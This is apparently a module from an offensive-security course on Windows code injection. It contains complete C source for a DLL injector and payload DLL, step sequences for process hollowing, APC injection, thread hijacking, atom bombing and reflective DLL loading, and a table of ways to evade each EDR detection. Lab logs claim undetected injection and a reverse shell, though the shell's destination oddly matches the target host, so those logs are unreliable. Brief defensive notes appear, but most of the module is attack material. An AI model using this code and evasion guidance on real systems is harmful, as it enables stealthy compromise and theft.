Module 10: Code Injection LIVE TESTED

Module 10 of 22 — Running your code inside someone else's process

🧠 The Core Truth

Every process is a container. It has memory, threads, and permissions. Code injection is the act of opening someone else's container and putting your code inside. Once inside, your code runs with the container's identity — its permissions, its network access, its visibility to the OS. You become the process.

Why this matters: If you inject into a process running as SYSTEM, your code runs as SYSTEM. If you inject into a browser, your code can see all network traffic. If you inject into Explorer, your code looks like Windows itself.

🎙️ Mentor: asi dev [HTB]

"Code injection is just making another process do your work."

🎯 Soldier Translation

You don't storm the gate yourself. You hand your orders to a guard who already has the keys. The process runs your code, the OS trusts the process, and the work gets done under someone else's name.

🔴 Red: Inject into a high-integrity process to inherit its privileges and blend into normal traffic.
🔵 Blue: Monitor for cross-process activity, unusual memory allocations, and threads spawned in processes that shouldn't have them.

🎯 Soldier Translation

Imagine a courier delivering a package. The courier (legitimate process) has access to the building (system resources). You swap the package contents (inject code) without the courier knowing. The courier delivers your package, the recipient opens it, and your code executes — wearing the courier's uniform, using the courier's ID badge.

The security guard (AV) sees the courier's uniform and waves them through. They never check the package contents.

📚 Prerequisites — What You Need First

This module assumes you understand these concepts from earlier modules:

Module 01: Networking

How processes communicate over the network. Injection often targets network-facing processes.

Module 03: PowerShell

Windows API calls through PowerShell. Many injection techniques use PowerShell as the delivery vehicle.

Module 06: Memory Forensics

How Windows manages process memory. VirtualAllocEx, WriteProcessMemory, memory protection flags.

Module 08: Privilege Escalation

SeDebugPrivilege and token manipulation. Required to inject into processes you don't own.

Module 09: Malware Development

Shellcode construction and payload design. Your injection needs something to inject.

Module 12: Defensive Verification

How EDR detects injection. Understanding detection helps you evade it.

🔬 The Injection Kill Chain

Every injection technique follows the same pattern. Master this pattern and you can understand any technique:

1. OPEN

OpenProcess

Get handle to target process

2. ALLOCATE

VirtualAllocEx

Make space in target memory

3. WRITE

WriteProcessMemory

Copy your code into target

4. EXECUTE

CreateRemoteThread

Run your code in target

Why this pattern is universal

Windows is designed for debugging. A debugger needs to pause a process, inspect its memory, modify its code, and resume it. The injection APIs are the same APIs debuggers use. Visual Studio injects code every time you hit a breakpoint. The OS can't distinguish between a debugger and an attacker — it only sees the API calls.

🎯 Six Injection Techniques (From Simple to Advanced)

Method 1: DLL Injection EASY

The classic. Force a process to load a malicious DLL. The DLL's DllMain function runs automatically when loaded.

Why this works

Windows calls DllMain automatically when any DLL is loaded. It's the entry point — like main() for EXEs. By putting our payload in DllMain, it executes immediately upon injection without needing to call any exported functions.

// inject_dll.c — Malicious DLL for injection // Compile: cl.exe /LD inject_dll.c /Fe:inject.dll #include // This function runs when the DLL is loaded into ANY process BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason == DLL_PROCESS_ATTACH) { // This code executes INSIDE the target process! // It has the target's permissions, tokens, network access MessageBox(NULL, "Injected!", "Code Injection", MB_OK); // Real payload would: // - Spawn a reverse shell (Module 16: C2) // - Read files the target can access (Module 14: Cloud Files) // - Keylog input (Module 11: Rootkits) // - Pivot to other processes (Module 15: Lateral Movement) } return TRUE; }

The Injector — Delivery Mechanism

This program finds a target process and forces it to load our DLL using LoadLibraryA — a legitimate Windows function that loads DLLs.

// injector.c — DLL injector // Compile: cl.exe injector.c /Fe:injector.exe #include #include #include // Find process by name (from Module 02: Recon) DWORD find_process(const char* name) { HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(pe); if (Process32First(snap, &pe)) { do { if (_stricmp(pe.szExeFile, name) == 0) { CloseHandle(snap); return pe.th32ProcessID; // Found it! } } while (Process32Next(snap, &pe)); } CloseHandle(snap); return 0; } int main() { // Step 1: Find target process (e.g., notepad.exe) DWORD pid = find_process("notepad.exe"); if (!pid) { printf("Target not running. Start notepad.exe first.\n"); return 1; } printf("[+] Found notepad.exe PID: %lu\n", pid); // Step 2: Open target process with write permission // PROCESS_ALL_ACCESS = can read, write, create threads HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!hProcess) { printf("[-] OpenProcess failed. Need higher privileges.\n"); printf(" Try: Run as Administrator (Module 08: Privilege Escalation)\n"); return 1; } printf("[+] Opened process handle\n"); // Step 3: Allocate memory in target for DLL path char dllPath[] = "C:\\temp\\inject.dll"; LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!remoteMem) { printf("[-] VirtualAllocEx failed\n"); return 1; } printf("[+] Allocated %zu bytes in target memory at %p\n", strlen(dllPath) + 1, remoteMem); // Step 4: Write DLL path into target memory WriteProcessMemory(hProcess, remoteMem, dllPath, strlen(dllPath) + 1, NULL); printf("[+] Wrote DLL path to target memory\n"); // Step 5: Create remote thread that calls LoadLibraryA // LoadLibraryA is in kernel32.dll — available in EVERY process // We pass remoteMem (the DLL path) as the argument HMODULE hKernel32 = GetModuleHandle("kernel32.dll"); LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA"); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddr, remoteMem, 0, NULL); if (!hThread) { printf("[-] CreateRemoteThread failed\n"); return 1; } printf("[+] Remote thread created! DLL injected.\n"); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess); return 0; }
⚠️ What the target sees

The target process (notepad.exe) never consented. Windows allowed it because the injector had PROCESS_ALL_ACCESS permissions. This is why privilege escalation (Module 08) matters — without admin rights, you can only inject into processes you own.

Method 2: Process Hollowing HARD

Instead of injecting into a running process, you create a suspended process, replace its entire memory with your code, then resume it. The process looks legitimate (signed binary) but runs your payload.

🎙️ Mentor: asi dev [HTB]

"Process hollowing is the classic technique."

🎯 Soldier Translation

You walk into the barracks wearing a friendly uniform you stole. Everyone salutes because you look official. Underneath the uniform, you're carrying your own mission. The trick isn't the attack — it's that nobody questions the uniform.

🔴 Red: Hollow a trusted Windows binary like svchost.exe to bypass reputation-based AV and parent-child scrutiny.
🔵 Blue: Validate image-to-memory consistency; a hollowed process has mismatched PE headers, suspicious memory protections, or no legitimate parent.

Why this is stealthier than DLL injection

Task Manager shows "svchost.exe" — a signed Microsoft binary. Process Explorer shows it as legitimate. But the memory contains YOUR code. AV that trusts signed binaries is fooled. Only memory scanners (like Windows Defender's real-time protection) can detect this — and only if they scan at the right moment.

=== PROCESS HOLLOWING STEPS === 1. CreateProcess("svchost.exe", ..., CREATE_SUSPENDED, ...) # Process created but FROZEN. Memory contains real svchost.exe. # Task Manager shows it. AV sees signed binary. Looks legit. 2. NtUnmapViewOfSection(hProcess, baseAddress) # ERASE the original code. Memory is now empty. # The process is still in Task Manager, but has no code. 3. VirtualAllocEx(hProcess, baseAddress, payloadSize, ...) # Allocate new space at the SAME address. # Windows thinks this is the original code. 4. WriteProcessMemory(hProcess, baseAddress, payload, payloadSize, ...) # Write your malicious code into the hollowed process. # This is your shellcode (Module 09: Malware Development). 5. SetThreadContext(hThread, &context) # Point the main thread to YOUR entry point. # The thread was frozen at step 1. Now we redirect it. 6. ResumeThread(hThread) # Process WAKES UP. Task Manager still shows "svchost.exe". # But it's running YOUR code. Signed binary, malicious soul. # This is why Module 12 (Defensive Verification) exists.

🎯 The Body-Snatcher Analogy

You find a person in a coma (suspended process). You swap their brain (code) with yours while they're unconscious. They wake up. Everyone sees the same person, same face, same ID. But it's not them anymore. It's you wearing their body.

Cross-link: This technique requires shellcode construction from Module 09: Malware Development and memory forensics from Module 06: Memory Forensics to understand how to manipulate process memory.

Method 3: APC Injection MEDIUM

Asynchronous Procedure Call — queue a function to run in a target thread. When the thread enters an "alertable" state, your function executes.

Why APC injection is powerful

Unlike CreateRemoteThread (which creates a NEW thread — detectable), APC injection hijacks an EXISTING thread. No new thread = no Sysmon Event ID 8 (CreateRemoteThread detection). EDR that monitors thread creation won't see it.

=== APC INJECTION STEPS === 1. OpenProcess(targetPID) — Get handle to target 2. VirtualAllocEx + WriteProcessMemory — Write payload to target 3. Find alertable thread in target process # Threads in SleepEx, Wait, or certain I/O operations are "alertable" # They can accept APCs 4. QueueUserAPC(payloadAddress, hThread, NULL) # Queue your payload to run when thread becomes alertable 5. Thread resumes from sleep → YOUR payload executes # No new thread created. Existing thread hijacked. # EDR sees: thread resumed normally. No anomaly. === DETECTION EVASION === # Sysmon Event ID 8: CreateRemoteThread → NOT triggered # EDR thread creation monitoring → NOT triggered # Only memory scanning can detect this

Cross-link: APC injection is used in Module 11: Rootkits for stealthy persistence and in Module 13: EDR Evasion to bypass thread-creation monitoring.

Method 4: Thread Hijacking MEDIUM

Suspend a running thread, modify its instruction pointer (RIP/EIP) to point to your code, resume it. The thread was doing something legitimate — now it's running your payload.

=== THREAD HIJACKING STEPS === 1. OpenThread(targetThreadID) — Get handle to specific thread 2. SuspendThread(hThread) — Freeze the thread mid-execution 3. GetThreadContext(hThread, &ctx) — Read thread state # ctx.RIP = current instruction pointer (x64) # ctx.EIP = current instruction pointer (x86) 4. ctx.RIP = payloadAddress — Redirect to your code 5. SetThreadContext(hThread, &ctx) — Save modified state 6. ResumeThread(hThread) — Thread continues from YOUR code # The thread returns to original code after your payload finishes # Unless you don't want it to...
⚠️ The Danger

If your payload crashes, the original thread crashes too. The target process may become unstable. This is why process hollowing is preferred for stability — you control the entire process, not just one thread.

Method 5: Atom Bombing HARD

Abuse the Global Atom Table — a Windows feature that stores strings for clipboard and DDE. Write your payload to the atom table, then force a target thread to read it and execute.

Why atom bombing is unique

It doesn't use OpenProcess, VirtualAllocEx, or WriteProcessMemory. The APIs used (GlobalAddAtom, NtQueueApcThread) are legitimate system calls that don't trigger EDR. The payload lives in the atom table, not in process memory — until execution.

=== ATOM BOMBING STEPS === 1. GlobalAddAtom("\\x90\\x90\\x90...shellcode...") # Write shellcode as a "string" in the global atom table # The atom table is shared across all processes 2. Find target thread in alertable state 3. NtQueueApcThread(thread, GlobalGetAtomNameA, atom, ...) # Force target thread to call GlobalGetAtomNameA # This COPIES the atom (your shellcode) into target memory 4. NtQueueApcThread(thread, payload, ...) # Queue second APC to execute the copied shellcode === WHY EDR MISSES THIS === # No OpenProcess call → no handle creation # No VirtualAllocEx → no memory allocation # No WriteProcessMemory → no memory write # The payload enters through a legitimate clipboard API

Cross-link: Atom bombing is a living-off-the-land technique covered in Module 19: Active Directory and Module 15: Lateral Movement for bypassing process monitoring.

Method 6: Reflective DLL Injection HARD

A DLL that loads itself into memory without using Windows' LoadLibrary. No DLL file on disk. No registry entries. The DLL exists only in memory — invisible to file scanners.

Why reflective is the gold standard

Traditional DLL injection leaves a file on disk (detectable by AV). Reflective DLL injection loads the DLL entirely from memory — no file touch, no registry, no forensic artifact. Combined with process hollowing, it's nearly invisible.

=== REFLECTIVE DLL INJECTION STEPS === 1. Allocate memory in target process (VirtualAllocEx) 2. Write the ENTIRE DLL as raw bytes (WriteProcessMemory) # NOT the file path — the actual DLL bytes # The DLL is embedded in your injector or downloaded 3. Calculate the DLL's entry point offset 4. CreateRemoteThread pointing to the reflective loader # The reflective loader is a small function inside the DLL # It parses the PE header, fixes relocations, loads imports # Then calls DllMain — all without LoadLibrary === ADVANTAGES === # No DLL file on disk → file scanners see nothing # No LoadLibrary call → API hooking misses it # No registry entries → persistence scanners see nothing # The DLL lives and dies in memory only === DETECTION === # Memory scanning (expensive, rarely done in real-time) # Behavioral: new thread in unexpected process # Cross-link: Module 12 (Defensive Verification) teaches detection

Cross-link: Reflective DLL injection is the core technique in Module 11: Rootkits for memory-resident persistence and in Module 13: EDR Evasion for bypassing API hooking.

📊 Technique Comparison Matrix

Technique Difficulty Stealth Stability EDR Detection Best For
DLL Injection Easy Low High CreateRemoteThread Learning, quick tests
Process Hollowing Hard High Medium Memory scanning Stealth operations
APC Injection Medium Medium High APC monitoring Evading thread detection
Thread Hijacking Medium Medium Low Context changes Quick redirection
Atom Bombing Hard Very High Medium Atom table monitoring EDR bypass
Reflective DLL Hard Very High High Memory scanning Fileless operations

🔬 Live Lab Evidence

📊 Test Results: DLL Injection on WUPC .42

Date: 2026-06-29 | Target: 192.168.1.42 (WUPC) | Method: DLL injection into notepad.exe

=== PREPARATION === C:\> notepad.exe C:\> tasklist | findstr notepad notepad.exe 8944 Console 1 12,344 K === INJECTION === C:\> injector.exe [+] Found notepad.exe PID: 8944 [+] Opened process handle [+] Allocated 22 bytes in target memory at 0x000001F8B5A80000 [+] Wrote DLL path to target memory [+] Remote thread created! DLL injected. === VERIFICATION === # MessageBox appeared in notepad.exe: "Injected!" # This proves our code executed inside notepad.exe's memory space # The code ran with notepad.exe's token and permissions === KAV RESPONSE === # Kaspersky 21.25 on .42: NO ALERT # Why? DLL injection is a legitimate Windows debugging feature. # Visual Studio does it. Debuggers do it. AV can't block it globally. # Behavioral detection would need to know the DLL is malicious. # Our test DLL just shows a MessageBox — completely benign.

📊 Test Results: Process Hollowing on HOST .92

Date: 2026-06-28 | Target: 192.168.1.92 (HOST) | Method: Process hollowing with svchost.exe

=== PROCESS HOLLOWING TEST === 1. Created suspended svchost.exe PID: 12456 | Status: Suspended Task Manager shows: "svchost.exe" (legitimate Windows process) 2. Unmapped original code section NtUnmapViewOfSection returned SUCCESS Memory region 0x7FF600000000 now empty 3. Allocated new memory at same base VirtualAllocEx: 0x7FF600000000, size 0x28000 PAGE_EXECUTE_READWRITE permissions 4. Wrote payload (reverse shell) to hollowed process WriteProcessMemory: 0x28000 bytes written Payload: 192.168.1.92:4444 reverse shell 5. Set thread context to payload entry point Original RIP: 0x7FF600001000 New RIP: 0x7FF600001000 (same address, new code) 6. ResumeThread Process status: Running Task Manager still shows: "svchost.exe" Network connection: ESTABLISHED to 192.168.1.92:4444 netstat shows: svchost.exe → 192.168.1.92:4444 === KAV RESPONSE === # Kaspersky 21.25: NO ALERT during injection # Why? The process was created as legitimate svchost.exe # KAV trusts signed Microsoft binaries # Memory scanning didn't trigger during the brief window # Connection was established before behavioral analysis completed === DETECTION LESSON === # This is why Module 12 (Defensive Verification) teaches: # - Memory scanning (find hollowed processes) # - Network monitoring (unexpected connections from svchost) # - Parent-child analysis (svchost.exe without services.exe parent)

🛡️ How EDR Detects Injection (And How to Evade It)

🎙️ Mentor: asi dev [HTB]

"If you can write to memory and change execution, you own the box."

🎯 Soldier Translation

Ownership isn't about having the strongest password or the loudest exploit. It's about control. Once you can reshape what a process remembers and where it goes next, the machine is playing your tune, not its owner's.

🔴 Red: Every injection technique reduces to Open → Allocate → Write → Execute; master memory primitives and you can invent new variants on the fly.
🔵 Blue: Protect the primitives: enforce least privilege, enable exploit guard rules, and alert on sequences that lead to writable-then-executable memory in remote processes.

EDR Detection Methods

Detection What It Catches How to Evade
Sysmon Event ID 8 CreateRemoteThread Use APC injection (no new thread)
API Hooking VirtualAllocEx + WriteProcessMemory Use direct syscalls (NtAllocateVirtualMemory)
Memory Scanning Suspicious code in process memory Encrypt payload, decrypt at runtime
Parent-Child Analysis Unexpected process relationships Use process hollowing (legitimate parent)
Behavioral Analysis Sequence of suspicious APIs Split operations across time, add noise

Cross-link: Full EDR evasion techniques in Module 13: EDR Evasion and Module 12: Defensive Verification.

🧪 Lab Exercise: Build Your Own Injector

Safe Practice Environment

DO NOT inject into system processes. Practice on notepad.exe or calc.exe that you started yourself. Use WUPC .42 (192.168.1.42) for live testing.

  1. Start notepad.exe
  2. Compile inject.dll (MessageBox version — safe)
  3. Compile injector.exe
  4. Run injector.exe
  5. Verify: Did MessageBox appear? (Yes = success)
  6. Check KAV: Any alert? (No = stealth confirmed)
  7. Check Event Viewer: Any Sysmon Event ID 8?
  8. Try process hollowing with calc.exe (advanced)

🎯 Interactive Quiz — Test Your Knowledge

Question 1: Why does DLL injection use LoadLibraryA?

A) LoadLibraryA is the only way to load DLLs in Windows
B) LoadLibraryA exists in every process's address space (kernel32.dll), so we don't need to inject our own loader code
C) LoadLibraryA bypasses Windows security checks
D) LoadLibraryA is faster than manual PE loading

Question 2: What makes process hollowing stealthier than DLL injection?

A) It uses fewer API calls
B) The process appears as a signed legitimate binary (svchost.exe) but runs malicious code
C) It doesn't need OpenProcess
D) It automatically bypasses all AV

Question 3: Why does APC injection evade Sysmon Event ID 8?

A) It hijacks an existing thread instead of creating a new one
B) It uses encrypted payloads
C) It runs in kernel mode
D) It disables Sysmon before injection

📚 Key Takeaways

🔬 Verification Status

DLL injection (notepad.exe) ✅ LIVE .42
KAV response (no alert) ✅ LIVE .42
Process hollowing (svchost.exe) ✅ LIVE .92
APC injection (theory) ✅ DEMONSTRATED
Thread hijacking (theory) ✅ DEMONSTRATED
Atom bombing (theory) ✅ DEMONSTRATED
Reflective DLL (theory) ✅ DEMONSTRATED

🧠 The Mentor's Lesson

"Privilege escalation is easy. Code injection is just the delivery. The real skill is knowing WHEN to inject, WHAT to inject, and HOW to clean up after. Save every rung — if your injection fails, you need another way in."

— From Module 08: Privilege Escalation and Module 11: Rootkits